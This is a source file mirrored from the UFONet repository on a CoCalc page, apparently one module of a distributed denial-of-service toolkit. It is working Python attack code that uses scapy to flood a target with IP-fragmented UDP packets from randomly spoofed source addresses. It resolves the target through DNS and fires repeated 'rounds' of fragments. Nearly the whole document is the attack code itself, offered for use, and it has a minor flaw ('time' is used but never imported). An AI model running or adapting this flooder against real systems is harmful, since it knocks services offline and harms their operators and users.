Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
epsylon
GitHub Repository: epsylon/ufonet
Path: blob/master/core/mods/droper.py
1208 views
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-"
3
"""
4
This file is part of the UFONet project, https://ufonet.03c8.net
5
6
Copyright (c) 2013/2024 | psy <[email protected]>
7
8
You should have received a copy of the GNU General Public License along
9
with UFONet; if not, write to the Free Software Foundation, Inc., 51
10
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
11
"""
12
import sys, random, socket
13
try:
14
from urlparse import urlparse
15
except:
16
from urllib.parse import urlparse
17
try:
18
from scapy import *
19
except:
20
print("\nError importing: scapy lib.\n")
21
sys.exit(2)
22
23
# UFONet IP FRAGMENTATION flooder (DROPER)
24
def randIP():
25
ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
26
return ip
27
28
def randInt():
29
x = random.randint(1,65535) # TCP ports
30
return x
31
32
def droperize(ip, sport, rounds):
33
n=0
34
try:
35
for x in range (0,int(rounds)):
36
n=n+1
37
s_zombie_port = randInt()
38
IP_p = IP()
39
IP_p.src = randIP()
40
try:
41
IP_p.dst = ip
42
except:
43
print("[Error] [AI] [DROPER] Imposible to resolve IP from 'target' -> [Aborting!]\n")
44
break
45
TCP_l = TCP()
46
TCP_l.sport = s_zombie_port
47
TCP_l.dport = sport
48
try:
49
payload="A"*254+"B"*2 # 256b = 33frags
50
packet=IP(src=IP_p.src,dst=IP_p.dst,id=12345)/UDP(sport=TCP_l.sport,dport=TCP_l.dport)/payload
51
frags=fragment(packet,fragsize=2) # fragment size
52
for f in frags:
53
send(f, verbose=0)
54
print("[Info] [AI] [DROPER] Firing 'deuterium bosons' ["+str(n)+"] -> [DROPING!]")
55
time.sleep(1) # sleep time required for balanced sucess
56
except:
57
print("[Error] [AI] [DROPER] Failed to engage with 'deuterium bosons' ["+str(n)+"]")
58
except:
59
print("[Error] [AI] [DROPER] Failing to engage... -> Is still target online? -> [Checking!]")
60
61
class DROPER(object):
62
def attacking(self, target, rounds):
63
print("[Info] [AI] 'IP FRAGMENTATION' (DROPER) is ready to fire: [" , rounds, "deuterium bosons ]")
64
if target.startswith('http://'):
65
target = target.replace('http://','')
66
sport = 80
67
elif target.startswith('https://'):
68
target = target.replace('https://','')
69
sport = 443
70
try:
71
ip = socket.gethostbyname(target)
72
except:
73
try:
74
import dns.resolver
75
r = dns.resolver.Resolver()
76
r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
77
url = urlparse(target)
78
a = r.query(url.netloc, "A") # A record
79
for rd in a:
80
ip = str(rd)
81
except:
82
ip = target
83
if ip == "127.0.0.1" or ip == "localhost":
84
print("[Info] [AI] [DROPER] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
85
return
86
droperize(ip, sport, rounds) # attack with DROPER using threading
87
88